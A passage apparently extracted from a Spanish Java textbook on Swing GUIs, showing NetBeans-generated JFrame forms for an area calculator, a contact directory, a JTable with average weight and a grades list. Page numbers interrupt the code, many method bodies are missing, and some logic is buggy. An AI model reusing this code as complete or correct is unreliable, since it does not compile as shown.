Algunos componentes que se utilizan dentro de las interfaces son:
123
Programa03(double base,double altura){
this.base=base;
this.altura=altura;
base=0;
altura=0;
}
/*metodo que calcula el area y regreasa el resultado*/
124
}
El segundo paso es crear un JFrame Form que se va llamar: “Programa05”
Vamos a arrastrar los siguientes elementos:
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JTextField jaltura;
private javax.swing.JTextField jarea;
private javax.swing.JTextField jbase;
// End of variables declaration
Y este va ser nuestro código:
public class Programa05 extends javax.swing.JFrame {
/**
* Creates new form Programa05
*/
public Programa05() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
125
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jLabel1.setText("Base");
jLabel2.setText("Altura");
126
jalturaActionPerformed(evt);
}
});
jarea.setEditable(false);
jarea.setBackground(new java.awt.Color(0, 255, 0));
jLabel3.setText("Area =");
127
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addGap(37, 37, 37)
.addComponent(jbase))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel3)
.addComponent(jLabel2))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 26, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jaltura)
.addComponent(jarea,
javax.swing.GroupLayout.PREFERRED_SIZE, 84,
javax.swing.GroupLayout.PREFERRED_SIZE))))
128
.addGap(246, 246, 246))
.addGroup(layout.createSequentialGroup()
.addGap(60, 60, 60)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jButton2)
.addComponent(jButton1))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE))))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)
.addComponent(jbase,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)
.addComponent(jaltura,
javax.swing.GroupLayout.PREFERRED_SIZE,
129
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(14, 14, 14)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jarea,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel3))
.addGap(34, 34, 34)
.addComponent(jButton1)
.addGap(18, 18, 18)
.addComponent(jButton2)
.addContainerGap(99, Short.MAX_VALUE))
);
pack();
}// </editor-fold>
130
jarea.setText(""+p.area());
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
131
*/
try {
java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
132
public void run() {
new Programa05().setVisible(true);
}
});
}
133
Vamos a mostrar cómo quedaría:
134
Imagen 1.63, Ejemplo de uso de los botones.
135
5.2. Clases y Eventos
Bueno este ejercico estará un complejo y el primer paso será crear una
clase que se llame: “directorio”.
public class directorio {
String nombre;
String telefono;
int mes;
int dia;
directorio(){
nombre="";
telefono="";
mes=0;
dia=0;
}
directorio(String n, String t, int m, int d){
nombre=n;
telefono=t;
mes=m;
dia=d;
}
public void settelefono(String t){
telefono=t;
}
public String getnombre(){
return nombre;
}
136
public String gettelefono(){
return telefono;
}
public int getmes(){
return mes;
}
public int getdia(){
return dia;
}
public String validador(String n, String t, String m, String d){
String resultado="";
if (n.equals("")){
resultado="Nombre vacio";
}else{
if (t.equals("")){
resultado="Telefono vacio";
}else{
if(m.equals("01")||m.equals("02")||m.equals("03")||m.equals("04")||m.eq
uals("05")||m.equals("06")||m.equals("07")||m.equals("08")||m.equals("09
")||m.equals("10")||m.equals("11")||m.equals("12")){
resultado="Mes correcto";
}
}
}
return resultado;
}
}
137
El segundo paso es relacionar la clase directorio con la siguiente clase que
se llamara: “agenda”.
public class agenda extends directorio {
int dia;
int mes;
double hora;
agenda(){
//Con super se invocan las variables de la agenda
//This es para hablar de la misma agenda, puede o no usarse
super.nombre="";
super.telefono="";
super.dia=0;
super.mes=0;
this.dia=0;
this.mes=0;
this.hora=0.00;
}
138
}
Una vez que creemos nuestras clases vamos a crear nuestro Jframe donde
haremos uso de todos nuestros conocimientos hasta ahora:
public class ejercicio02 extends javax.swing.JFrame {
/**
* Creates new form ejercicio02
*/
int x=0;
directorio arreglo[]=new directorio[5];
/**
* This method is called from within the constructor to initialize the form.
139
private void initComponents() {
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setLocation(new java.awt.Point(300, 300));
jLabel1.setText("Nombre:");
jLabel2.setText("Telefono:");
jLabel3.setText("Mes:");
jLabel4.setText("Dia:");
140
jTextField1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField1ActionPerformed(evt);
}
});
jTextField4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField4ActionPerformed(evt);
}
});
jButton1.setText("Agregar");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
141
});
jButton3.setText("Modifica");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addGap(18, 18, 18)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 272,
javax.swing.GroupLayout.PREFERRED_SIZE))
142
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4))
.addGap(13, 13, 13)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jTextField2,
javax.swing.GroupLayout.DEFAULT_SIZE, 272, Short.MAX_VALUE)
.addComponent(jTextField3))
.addGroup(layout.createSequentialGroup()
.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE, 100,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 168, Short.MAX_VALUE)
.addComponent(jTextField5,
javax.swing.GroupLayout.PREFERRED_SIZE, 32,
javax.swing.GroupLayout.PREFERRED_SIZE))))))
.addGroup(layout.createSequentialGroup()
.addGap(156, 156, 156)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
143
.addComponent(jButton2,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jButton1,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jButton3,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGap(0, 0, Short.MAX_VALUE)))
.addGap(31, 31, 31))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(30, 30, 30)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,
144
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)
.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)
.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField5,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(31, 31, 31)
.addComponent(jButton1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addComponent(jButton2)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
145
.addComponent(jButton3)
.addContainerGap(24, Short.MAX_VALUE))
);
pack();
}// </editor-fold>
146
int d=Integer.parseInt(jTextField4.getText());
arreglo[x]=new directorio(n,t,m,d);
x++;
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField4.setText("");
jTextField5.setText(""+x);
}
}catch(Exception e){
147
}else{
JOptionPane.showMessageDialog(null, "No se encontro registro");
}
}catch(Exception e){
148
if(i==x-1){
JOptionPane.showMessageDialog(null, "Nombre no
localizado");
}
}
}
}
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting
code (optional) ">
149
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
150
private javax.swing.JButton jButton3;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField2;
private javax.swing.JTextField jTextField3;
private javax.swing.JTextField jTextField4;
private javax.swing.JTextField jTextField5;
// End of variables declaration
}
Lo que esta marcado en amarillo son todos los elementos que necesitamos
de tal forma que se vea de esta manera:
151
Imagen 1.64, Ejemplo del JFrame.
152
En la siguiente imagen se muestra que tenemos 2 datos llenos “se muestra
en el cucdrado azul”.
Y como siguiente paso coonlsultamos un número.
/**
* Creates new form ejercicio06
*/
public ejercicio06() {
initComponents();
}
/**
153
* This method is called from within the constructor to initialize the form.
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jTable1.setAutoCreateRowSorter(true);
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
},
new String [] {
"Nombre", "Edad", "Peso"
154
}
){
Class[] types = new Class [] {
java.lang.Object.class, java.lang.Integer.class,
java.lang.Object.class
};
boolean[] canEdit = new boolean [] {
false, false, false
};
jTextField1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField1ActionPerformed(evt);
}
});
155
jTextField1.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField1KeyPressed(evt);
}
});
jTextField2.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField2KeyPressed(evt);
}
});
jTextField3.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField3KeyPressed(evt);
}
});
jButton1.setText("Inserta");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
156
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});
jButton3.setText("Promedio Peso");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 375,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
157
.addGroup(layout.createSequentialGroup()
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 119,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE, 119,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addGap(27, 27, 27)
.addComponent(jButton1)
.addGap(54, 54, 54)
.addComponent(jButton2)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(10, 10, 10)
.addComponent(jButton3))
.addComponent(jTextField3))))
.addContainerGap(15, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
158
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addContainerGap(19, Short.MAX_VALUE)
.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 188,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jButton1)
.addComponent(jButton2)
.addComponent(jButton3))
.addGap(33, 33, 33))
159
);
pack();
}// </editor-fold>
Object datos[]=
{jTextField1.getText(),Integer.parseInt(jTextField2.getText()),Double.parseDou
ble(jTextField3.getText())};
DefaultTableModel model=(DefaultTableModel)jTable1.getModel();
model.addRow(datos);
jTable1.setModel(model);
}catch(Exception e){
}
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField1.requestFocus();
}
160
if (evt.getKeyCode()==10){
jTextField2.requestFocus();
}
}
161
int r=jTable1.getSelectedRow();
String a;
for(int i=0;i<3;i++){
a=jTable1.getModel().getValueAt(r, i).toString();
switch (i) {
case 0:
jTextField1.setText(a);
break;
case 1:
jTextField2.setText(a);
break;
default:
jTextField3.setText(a);
break;
}
}
}else{
JOptionPane.showMessageDialog(null, "No hay seleccion");
}
}
162
promedio=promedio+Double.parseDouble(jTable1.getModel().getValueAt(i
, 2).toString());
jTable1.setValueAt(i, i, 2);
}
JOptionPane.showMessageDialog(null, ""+(promedio/r));
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error"+e.toString());
}
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
163
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
164
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton3;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField2;
private javax.swing.JTextField jTextField3;
// End of variables declaration
}
En esta imagen 1.67 se muestra que ya llenamos todos los campos que
tenemos tales como: Nombre, Edad y Peso.
165
Y consultamos los datos de Veronica, mostrándolos en la parte de abajo.
166
En la siguiente imagen 1.68 mostramos el peso promedio de todas personas
que insertamos.
Y lo hace con un mensaje que dice que el peso promedio es de 59.9.
167
5.3. API Swing
Swing es una biblioteca gráfica para Java. Incluye widgets para interfaz
gráfica de usuario tales como cajas de texto, botones, desplegables y
tablas.
Vamos a crear una clase que tenga el siguiente contenido:
168
}
public float getcalif1(){
return calif1;
}
public void setcalif2(float calif2){
this.calif2=calif2;
}
public float getcalif2(){
return calif2;
}
public float promedio(){
float prom=(calif1+calif2)/2;
return prom;
}
}
/**,
* Creates new form Programa07
*/
int contador=0;
int tamano=10;
Programa06 alumnos[]=new Programa06[tamano];
DefaultListModel modelo1= new DefaultListModel();
DefaultListModel modelo2= new DefaultListModel();
169
public Programa07() {
initComponents();
for (int i=0;i<tamano;i++){
alumnos[i]= new Programa06();
}
jList1.setModel(modelo1);
jList2.setModel(modelo2);
jList1.setVisible(false);
jList2.setVisible(false);
}
/**
* This method is called from within the constructor to initialize the form.
170
jTextField3 = new javax.swing.JTextField();
jTextField4 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jList1 = new javax.swing.JList<>();
jScrollPane2 = new javax.swing.JScrollPane();
jList2 = new javax.swing.JList<>();
jButton3 = new javax.swing.JButton();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
jLabel8 = new javax.swing.JLabel();
jComboBox1 = new javax.swing.JComboBox<>();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jLabel1.setText("Número:");
jLabel2.setText("Nombre:");
jLabel3.setText("Calificación 1:");
jLabel4.setText("Calificación 2:");
jTextField2.addActionListener(new java.awt.event.ActionListener() {
171
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField2ActionPerformed(evt);
}
});
jTextField3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField3ActionPerformed(evt);
}
});
jTextField4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField4ActionPerformed(evt);
}
});
jButton1.setText("Agrega");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
172
jButton2ActionPerformed(evt);
}
});
jList1.setModel(new javax.swing.AbstractListModel<String>() {
String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" };
public int getSize() { return strings.length; }
public String getElementAt(int i) { return strings[i]; }
});
jScrollPane1.setViewportView(jList1);
jList2.setModel(new javax.swing.AbstractListModel<String>() {
String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" };
public int getSize() { return strings.length; }
public String getElementAt(int i) { return strings[i]; }
});
jScrollPane2.setViewportView(jList2);
jButton3.setText("Revisa el modelo1");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});
jLabel5.setText("jLabel5");
173
jLabel6.setText("jLabel6");
jLabel7.setText("Retrazados");
jLabel8.setText("Aprobados");
jComboBox1.setModel(new
javax.swing.DefaultComboBoxModel<>(new String[] { "Item 1", "Item 2",
"Item 3", "Item 4" }));
jComboBox1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jComboBox1ActionPerformed(evt);
}
});
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)
174
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jTextField3,
javax.swing.GroupLayout.DEFAULT_SIZE, 89, Short.MAX_VALUE)
.addComponent(jTextField1,
javax.swing.GroupLayout.DEFAULT_SIZE, 89, Short.MAX_VALUE)
.addComponent(jTextField4))
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE, 182,
javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGroup(layout.createSequentialGroup()
.addComponent(jButton1,
javax.swing.GroupLayout.PREFERRED_SIZE, 75,
javax.swing.GroupLayout.PREFERRED_SIZE)
175
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jButton2)
.addGap(60, 60, 60)
.addComponent(jComboBox1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE)))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addComponent(jButton3)
.addGap(67, 67, 67))
.addGroup(layout.createSequentialGroup()
.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 59,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(34, 34, 34)
.addComponent(jScrollPane2,
javax.swing.GroupLayout.PREFERRED_SIZE, 61,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel7)
176
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel8)
.addGap(50, 50, 50))))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(jLabel5)
.addGap(60, 60, 60)
.addComponent(jLabel6)
.addGap(49, 49, 49))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(17, 17, 17)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 23,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1)
.addComponent(jButton3))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
177
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jComboBox1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(105, 105, 105))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(11, 11, 11)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)
.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,
178
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)
.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addComponent(jButton1)
.addGap(18, 18, 18)
.addComponent(jButton2))
.addGroup(layout.createSequentialGroup()
.addGap(53, 53, 53)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel7)
.addComponent(jLabel8))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jScrollPane2,
javax.swing.GroupLayout.DEFAULT_SIZE, 163, Short.MAX_VALUE)
179
.addComponent(jScrollPane1))))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
